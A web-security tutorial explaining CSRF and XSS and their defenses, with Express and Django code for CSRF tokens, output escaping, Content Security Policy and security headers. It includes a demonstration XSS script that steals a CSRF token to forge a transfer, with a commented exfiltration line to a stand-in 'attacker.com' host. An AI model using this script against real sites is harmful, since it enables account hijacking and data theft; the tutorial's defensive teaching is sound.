CSRF and XSS Prevention: How to Actually Secure Your Web App
Every year, companies lose millions of dollars and millions of user records because of two vulnerabilities that have been fully understood since the early 2000s — and are still getting exploited in production apps today. CSRF (Cross-Site Request Forgery) and XSS (Cross-Site Scripting) sit near the top of the OWASP Top 10 list not because they're exotic or new, but because developers keep underestimating them. A misconfigured form, a single unescaped variable, or one missing HTTP header is all it takes.
These attacks aren't theoretical. The 2018 British Airways breach that exposed 500,000 customers' payment details was traced to a form of XSS. CSRF has been used to hijack router settings, drain user accounts, and post content without consent. What makes them dangerous isn't complexity — it's how easy they are to miss when you're moving fast.
By the end of this article you'll understand exactly how each attack works at the HTTP level, why the standard defenses actually stop them, how to implement those defenses in real Node.js/Express and Python/Django code, and — critically — what common shortcuts create a false sense of security. You'll be able to review your own codebase and spot the gaps.
How CSRF Actually Works — and Why Cookies Are the Root Cause
To understand CSRF, you need to understand one browser behavior that most developers take for granted: browsers automatically attach cookies to every request made to a domain, regardless of which site triggered that request.
So if you're logged into bank.com and have a session cookie, and you visit evil.com, that malicious page can fire a form POST to bank.com/transfer — and your browser will attach your session cookie to that request automatically. The bank's server sees a valid session and processes the transfer. You never clicked anything on the bank's site.
The attack works because the server can't distinguish between a legitimate request (you clicking a button on bank.com) and a forged request (a form on evil.com targeting bank.com). They look identical at the HTTP level.
The CSRF token pattern defeats this because it introduces a secret that evil.com cannot know. The server embeds a random, unpredictable token in the legitimate page's form. When the form is submitted, the server checks that the token matches. Since evil.com can't read the content of bank.com's pages (same-origin policy blocks that), it can't forge the token. No valid token means the request is rejected — even if the session cookie is attached.
// npm install express express-session csurf cookie-parser // This shows a complete Express app with CSRF protection on a state-changing route. const express = require('express'); const session = require('express-session'); const cookieParser = require('cookie-parser'); const csrf = require('csurf'); const app = express(); // Parse URL-encoded form bodies (needed to read the CSRF token from POST body) app.use(express.urlencoded({ extended: false })); app.use(cookieParser()); // Session middleware — CSRF tokens are tied to a session app.use(session({ secret: process.env.SESSION_SECRET || 'replace-with-strong-random-secret', resave: false, saveUninitialized: false, cookie: { httpOnly: true, // JS cannot read this cookie secure: process.env.NODE_ENV === 'production', // HTTPS only in prod sameSite: 'strict' // First line of CSRF defense — see callout } })); // csrfProtection middleware — generates and validates tokens const csrfProtection = csrf({ cookie: false }); // store token in session, not a separate cookie // GET /transfer — render the transfer form, embed CSRF token in hidden field app.get('/transfer', csrfProtection, (req, res) => { const csrfToken = req.csrfToken(); // generate a unique token for this session // In a real app you'd use a template engine (EJS, Handlebars, etc.) // For clarity, we're sending raw HTML here res.send(` <form method="POST" action="/transfer"> <!-- The CSRF token is hidden from the user but included in every POST --> <input type="hidden" name="_csrf" value="${csrfToken}" /> <label>Amount: <input type="number" name="amount" /></label> <label>To Account: <input type="text" name="toAccount" /></label> <button type="submit">Transfer</button> </form> `); }); // POST /transfer — csrfProtection middleware will reject requests with missing/invalid token app.post('/transfer', csrfProtection, (req, res) => { const { amount, toAccount } = req.body; // If we reach here, the CSRF token was valid — safe to process console.log(`Processing transfer of $${amount} to account ${toAccount}`); res.send(`Transfer of $${amount} to ${toAccount} completed successfully.`); }); // CSRF error handler — fires when the token is missing or doesn't match app.use((err, req, res, next) => { if (err.code === 'EBADCSRFTOKEN') { // This is what happens when evil.com tries to POST without a valid token console.warn('CSRF attack detected or invalid token — request blocked'); return res.status(403).json({ error: 'Invalid or missing CSRF token. Request blocked.' }); } next(err); }); app.listen(3000, () => console.log('Server running on http://localhost:3000'));
// When a legitimate form is submitted:
Processing transfer of $500 to account 9876543
// Response: "Transfer of $500 to 9876543 completed successfully."
// When evil.com tries to POST without the token:
CSRF attack detected or invalid token — request blocked
// Response (HTTP 403): { "error": "Invalid or missing CSRF token. Request blocked." }
How XSS Works — and Why 'Escaping Output' Is Non-Negotiable
XSS happens when your application takes untrusted data — from a user, a URL parameter, a database — and renders it in a browser as executable HTML or JavaScript, instead of as plain text.
There are three types. Reflected XSS: the malicious script is in the URL and reflected back in the response (e.g., a search page that prints 'You searched for: [input]' without escaping). Stored XSS: the payload is saved to the database and served to every user who views that page — far more dangerous. DOM-based XSS: the injection happens entirely in JavaScript, never touching the server, when client-side code writes untrusted data to innerHTML.
The fix is to treat user input as data, never as markup. This means HTML-encoding special characters before rendering them. < becomes <, > becomes >, " becomes ", and so on. A tag in user input becomes visible text, not executed code.
But output encoding alone isn't enough. A Content Security Policy (CSP) header tells the browser which sources of scripts are legitimate — so even if an XSS payload slips through, the browser refuses to execute it. CSP is your safety net when encoding fails.
# Django handles most XSS automatically via its template engine, # but you must know WHERE it protects you and WHERE it doesn't. # This example shows safe vs. unsafe patterns and a working CSP setup. # --- views.py --- from django.shortcuts import render from django.http import HttpResponse from django.utils.html import escape # manual escaping when needed outside templates from django.views.decorators.clickjacking import xframe_options_deny def user_profile(request, username): """ Safe rendering: Django templates auto-escape variables. {{ username }} in a template will encode < > & " ' automatically. """ # Simulating a username retrieved from the database # In reality this could be: User.objects.get(pk=user_id).username raw_username = username # e.g., could be "<script>alert('xss')</script>" return render(request, 'profile.html', { 'username': raw_username # Template will escape this automatically }) def legacy_unsafe_view(request): """ DANGER: Using mark_safe() or format_html() incorrectly bypasses auto-escaping. Never do this with untrusted input. """ user_input = request.GET.get('query', '') # ❌ WRONG — this executes any script tags in the query string # unsafe_html = f"<p>You searched for: {user_input}</p>" # return HttpResponse(mark_safe(unsafe_html)) # DO NOT DO THIS # ✅ CORRECT — escape the input before interpolating into HTML safe_input = escape(user_input) # converts < to < etc. safe_html = f"<p>You searched for: {safe_input}</p>" return HttpResponse(safe_html) # --- middleware.py — Add Content Security Policy headers to every response --- class ContentSecurityPolicyMiddleware: """ CSP tells the browser: only execute scripts from our own domain. Even if an attacker injects a <script> tag, the browser blocks execution. """ def __init__(self, get_response): self.get_response = get_response def __call__(self, request): response = self.get_response(request) # default-src 'self' — only load resources from our own origin # script-src 'self' — only execute scripts from our domain (no inline scripts) # object-src 'none' — block Flash and other plugins entirely # upgrade-insecure-requests — force HTTPS for all sub-resources csp_policy = ( "default-src 'self'; " "script-src 'self'; " "style-src 'self' 'unsafe-inline'; " # inline styles still needed often "img-src 'self' data:; " "object-src 'none'; " "base-uri 'self'; " "upgrade-insecure-requests;" ) response['Content-Security-Policy'] = csp_policy # Prevent the browser from MIME-sniffing — stops a class of content injection attacks response['X-Content-Type-Options'] = 'nosniff' # Stop your pages from being embedded in iframes on other sites (clickjacking defense) response['X-Frame-Options'] = 'DENY' return response # --- settings.py — register the middleware --- # MIDDLEWARE = [ # 'yourapp.middleware.ContentSecurityPolicyMiddleware', # ... other middleware # ]
# With legacy_unsafe_view (SAFE version):
# Response HTML: <p>You searched for: <script>alert('xss')</script></p>
# Browser renders: "You searched for: <script>alert('xss')</script>" — as plain text, not executed.
# Response headers on every page:
# Content-Security-Policy: default-src 'self'; script-src 'self'; ...
# X-Content-Type-Options: nosniff
# X-Frame-Options: DENY
CSRF vs. XSS Side-by-Side — Knowing Which Threat You're Facing
Developers often confuse CSRF and XSS because both involve malicious web requests, but the threat model is completely different — and the defenses don't overlap much.
CSRF is about identity: the attacker uses your authenticated session to make requests the server thinks you authorized. The attacker doesn't read your data or run code in your browser. They just piggyback on your trust relationship with the server. The defense is about proving the request originated from your UI: CSRF tokens, SameSite cookies, and checking the Origin/Referer header.
XSS is about code execution: the attacker injects JavaScript that runs in your browser, in the context of the legitimate site. From there they can steal your cookies, read your local storage, keylog your inputs, or even fire CSRF-style requests — with full access to the page's DOM, including any CSRF tokens. This is why XSS is considered more dangerous: a successful XSS attack can completely bypass CSRF protection by reading the CSRF token from the DOM and including it in a forged request.
This relationship matters architecturally: CSRF tokens protect nothing if you have an XSS vulnerability. Fix XSS first. Then layer CSRF protection on top.
/** * This is a CONCEPTUAL demonstration, not malware. * It shows WHY XSS is a prerequisite to fixing — if XSS exists, * CSRF tokens provide zero protection. * * Scenario: An attacker has found a stored XSS vulnerability on a forum. * Their injected script runs in the victim's browser on the legitimate site. * It can read the CSRF token right from the DOM and use it in a forged request. */ // ---- ATTACKER'S INJECTED SCRIPT (running inside the victim's browser, on the real site) ---- // Step 1: Read the CSRF token from the legitimate page's DOM // This works because the script is running on the same origin as the token function stealCsrfTokenAndForgeRequest() { // Find the hidden CSRF token input that the server placed in the form const csrfTokenInput = document.querySelector('input[name="_csrf"]'); if (!csrfTokenInput) { console.error('CSRF token field not found on this page'); return; } const stolenCsrfToken = csrfTokenInput.value; // e.g., "a1b2c3d4e5f6..." console.log('Stolen CSRF token:', stolenCsrfToken); // attacker logs this for demo // Step 2: Build a forged request WITH the valid CSRF token // The server will accept this — the token is genuine, just stolen const formData = new FormData(); formData.append('_csrf', stolenCsrfToken); // include the real token formData.append('amount', '1000'); formData.append('toAccount', 'attacker-account-9999'); // Step 3: Fire the request — session cookie is attached automatically // The server sees: valid session cookie + valid CSRF token = trusted request fetch('/transfer', { method: 'POST', body: formData, credentials: 'include' // sends session cookie }) .then(response => response.text()) .then(result => { // Exfiltrate the result to attacker's server (in a real attack) console.log('Forged transfer result:', result); // new Image().src = `https://attacker.com/log?data=${encodeURIComponent(result)}`; }); } // This fires when the attacker's stored XSS payload executes stealCsrfTokenAndForgeRequest(); /** * LESSON: The CSRF token is NOT secret if XSS exists. * Same-origin policy protects tokens from CROSS-origin reads, * but XSS makes the malicious script SAME-origin. * Eliminate XSS first. CSRF protection is your second layer. */
Stolen CSRF token: a1b2c3d4e5f6g7h8i9j0...
Forged transfer result: Transfer of $1000 to attacker-account-9999 completed successfully.
// The CSRF middleware accepted the request — the token was valid.
// The session cookie was included — the user is authenticated.
// The server had no way to know this request was forged.
Real-World Defense Checklist — What a Production App Actually Needs
Theory is only useful if it translates to a shipping checklist. Here's the practical layer-by-layer defense that a real production app should implement. Each layer compensates for failures in the others — security in depth.
For CSRF: use synchronizer token pattern (server-generated token in form + server validation), set session cookies to SameSite=Strict where possible, and verify the Origin or Referer header on state-changing requests as a secondary check. For REST APIs consumed by SPAs, use the double-submit cookie pattern or custom request headers (a cross-origin request from a form can't set custom headers, but your own JavaScript can).
For XSS: auto-escape all template output (every major framework does this by default — don't opt out), use textContent instead of innerHTML in JavaScript, sanitize rich HTML input with DOMPurify server-side and client-side, and deploy a strong Content Security Policy.
For both: set HttpOnly on session cookies (JavaScript can't read them, limiting XSS cookie theft), use Secure flag (HTTPS only), set short session expiry, and rotate tokens after login to prevent session fixation. Run OWASP ZAP or Burp Suite scans before every major release.
// A complete Express.js security configuration that a production app should use. // Uses the 'helmet' package — the single most useful security middleware for Node. // npm install helmet express-rate-limit const express = require('express'); const helmet = require('helmet'); const rateLimit = require('express-rate-limit'); const app = express(); /** * helmet() sets multiple security headers in one call: * - Content-Security-Policy * - X-Content-Type-Options: nosniff * - X-Frame-Options: SAMEORIGIN * - Strict-Transport-Security (HSTS) * - X-XSS-Protection (legacy browsers) * - Referrer-Policy */ app.use(helmet({ contentSecurityPolicy: { directives: { defaultSrc: ["'self'"], scriptSrc: [ "'self'", // Add your CDN domains here if needed, e.g.: "https://cdn.yoursite.com" // NEVER use 'unsafe-inline' in production — it defeats CSP for XSS ], styleSrc: ["'self'", "'unsafe-inline'"], // inline styles are usually needed imgSrc: ["'self'", "data:", "https:"], connectSrc: ["'self'"], // XHR/fetch targets fontSrc: ["'self'", "https://fonts.gstatic.com"], objectSrc: ["'none'"], // block Flash etc. frameAncestors: ["'none'"], // stronger than X-Frame-Options DENY baseUri: ["'self'"], // prevent base tag injection formAction: ["'self'"], // forms can only submit to our own origin upgradeInsecureRequests: [], // force HTTP → HTTPS for sub-resources }, }, // HSTS: tell browsers to only ever connect over HTTPS for the next year strictTransportSecurity: { maxAge: 31536000, // 1 year in seconds includeSubDomains: true, preload: true, // submit to browser HSTS preload lists }, })); // Rate limiting — limits how many requests a single IP can make // This also limits brute-force CSRF token guessing attempts const apiLimiter = rateLimit({ windowMs: 15 * 60 * 1000, // 15-minute window max: 100, // max 100 requests per window per IP standardHeaders: true, // return rate limit info in RateLimit-* headers legacyHeaders: false, message: { error: 'Too many requests from this IP, please try again later.' } }); app.use('/api/', apiLimiter); // apply rate limiting to all API routes // Example protected API endpoint app.get('/api/account/balance', (req, res) => { // In a real app: check session/JWT, fetch from DB res.json({ balance: 5000, currency: 'USD' }); }); app.listen(3000, () => { console.log('Production-hardened server running on port 3000'); });
// Response headers on every request (inspect in browser DevTools → Network → Headers):
Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; connect-src 'self'; font-src 'self' https://fonts.gstatic.com; object-src 'none'; frame-ancestors 'none'; base-uri 'self'; form-action 'self'; upgrade-insecure-requests
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Referrer-Policy: no-referrer
// When rate limit is exceeded (IP exceeds 100 requests in 15 minutes):
// HTTP 429: { "error": "Too many requests from this IP, please try again later." }
| Aspect | CSRF (Cross-Site Request Forgery) | XSS (Cross-Site Scripting) |
|---|---|---|
| What the attacker abuses | Server's trust in the user's browser/session | User's trust in the website's content |
| Attack origin | A different malicious website | Injected code on the target website itself |
| What the attacker can do | Make authenticated requests on victim's behalf | Execute arbitrary JavaScript in victim's browser |
| Can the attacker read response data? | No — they only trigger actions | Yes — full DOM access, can read anything |
| Primary defense | CSRF tokens + SameSite cookie attribute | Output encoding + Content Security Policy |
| Secondary defense | Origin/Referer header validation | HttpOnly cookies to limit damage if XSS occurs |
| Does one bypass the other? | CSRF tokens don't help if XSS exists | XSS can render CSRF tokens useless |
| Affects REST APIs? | Only if cookies are used for auth | Yes — any endpoint rendering user data |
| Framework protection built-in? | Django CSRF middleware, Laravel CSRF token | Django/React auto-escaping in templates |
🎯 Key Takeaways
- CSRF exploits cookie auto-attachment — the browser sends your session cookie to any site that requests it, which is why CSRF tokens (a secret the attacker can't read) are the core defense.
- XSS is fundamentally more dangerous than CSRF because injected JavaScript runs on the same origin as your app, giving it access to cookies, localStorage, DOM content, and — critically — your CSRF tokens.
- Output encoding and Content Security Policy are complementary, not interchangeable: encoding stops injection at the HTML level, CSP stops execution at the browser level. Deploy both; one compensates for the other's failures.
- Your cookie configuration is your security baseline: HttpOnly prevents cookie theft via XSS, Secure enforces HTTPS, and SameSite=Strict blocks most CSRF before tokens are even needed — these three attributes together give you massive attack surface reduction for free.
⚠ Common Mistakes to Avoid
- ✕Mistake 1: Using SameSite=Lax and believing CSRF is fully solved — SameSite=Lax still allows cookies on top-level GET navigation from external links, meaning GET endpoints that trigger state changes (password resets via GET, logout via GET) remain vulnerable. Fix: change state-changing operations to POST/PUT/DELETE only, use SameSite=Strict for the session cookie, AND implement CSRF tokens as a second layer.
- ✕Mistake 2: Calling escape() on user input at entry time and storing encoded HTML in the database — this corrupts stored data (a username with an apostrophe becomes '), causes double-encoding bugs, and gives false confidence. Fix: always store raw data in the database and escape at render time — the point where you know the output context (HTML body, HTML attribute, JavaScript, CSS, URL all need different escaping rules).
- ✕Mistake 3: Adding a Content Security Policy header but including 'unsafe-inline' in script-src to avoid breaking existing inline scripts — this completely negates XSS protection since any injected inline script is allowed. Fix: move all inline scripts to external .js files served from your own domain, or use CSP nonces (a unique per-request random value added to both the script tag and the CSP header) which allow specific inline scripts without allowing all of them.
Interview Questions on This Topic
- QYou have CSRF token protection on your transfer endpoint. A security researcher claims your app is still vulnerable to CSRF. How could that be possible, and what would you look for?
- QExplain the difference between Stored XSS and Reflected XSS. Which is more dangerous and why? How does your defense strategy change between them?
- QYour single-page application uses JWT tokens stored in localStorage for authentication, not cookies. Does CSRF still apply? What new risk have you introduced, and how do you mitigate it?
Frequently Asked Questions
Can HTTPS alone protect against CSRF and XSS attacks?
No. HTTPS encrypts data in transit, which prevents a network attacker from reading or modifying your traffic, but it does nothing to prevent CSRF or XSS. Both attacks originate from within the browser or from legitimate HTTPS origins. You still need CSRF tokens, SameSite cookies, and output encoding — HTTPS is a transport security measure, not an application security measure.
If I'm building a REST API that uses JWT in Authorization headers instead of cookies, do I need CSRF protection?
No, not for CSRF — but only if you store the JWT in memory (a JavaScript variable), not in localStorage or a cookie. Cross-site form submissions and image tag tricks can't set the Authorization header, so token-in-header authentication is inherently CSRF-resistant. However, if you store the JWT in a cookie, CSRF applies again. And storing JWT in localStorage introduces XSS risk, since any injected script can read it.
What's the easiest way to test if my app is vulnerable to XSS right now?
The quickest manual check is to type into every input field, URL parameter, and search box in your app, then look for a dialog box appearing anywhere. Also check for the string appearing unencoded in the page source. For a thorough automated scan, run OWASP ZAP (free) against your app in active scan mode — it specifically checks for reflected and stored XSS across all discovered inputs.
Written and reviewed by senior developers with real-world experience across enterprise, startup and open-source projects. Every article on TheCodeForge is written to be clear, accurate and genuinely useful — not just SEO filler.